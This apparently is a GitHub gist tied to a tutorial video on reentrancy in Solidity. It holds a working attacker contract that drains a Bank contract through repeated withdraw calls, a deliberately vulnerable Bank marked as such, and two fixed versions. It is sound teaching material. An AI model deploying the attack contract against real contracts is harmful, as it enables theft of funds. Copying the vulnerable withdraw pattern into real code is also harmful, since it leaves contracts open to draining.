Skip to content

Instantly share code, notes, and snippets.

@shobhitic
Last active September 10, 2022 09:24
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save shobhitic/36d4db562e9e4e5f76ca9cf13f2e8bb0 to your computer and use it in GitHub Desktop.
Save shobhitic/36d4db562e9e4e5f76ca9cf13f2e8bb0 to your computer and use it in GitHub Desktop.
ReEntrancy Attack in Solidity - https://www.youtube.com/watch?v=6bQvKCKrATM
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./Bank.sol";
contract Attack {
Bank public bank;
constructor (address _bank) {
bank = Bank(_bank);
}
fallback() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// Fixes the issue with a ReEntrancy Guard
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol";
contract Bank is ReentrancyGuard {
mapping (address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() nonReentrant external {
uint256 bal = balances[msg.sender];
require(bal > 0, "Balance 0");
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "Failed to withdraw");
balances[msg.sender] = 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// Fixes the issue by updating state before sending ETH
contract Bank {
mapping (address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0, "Balance 0");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "Failed to withdraw");
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// This is a vulnerable smart contract. DO NOT USE THIS.
contract Bank {
mapping (address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 bal = balances[msg.sender];
require(bal > 0, "Balance 0");
(bool success, ) = msg.sender.call{value: bal}("");
require(success, "Failed to withdraw");
balances[msg.sender] = 0;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment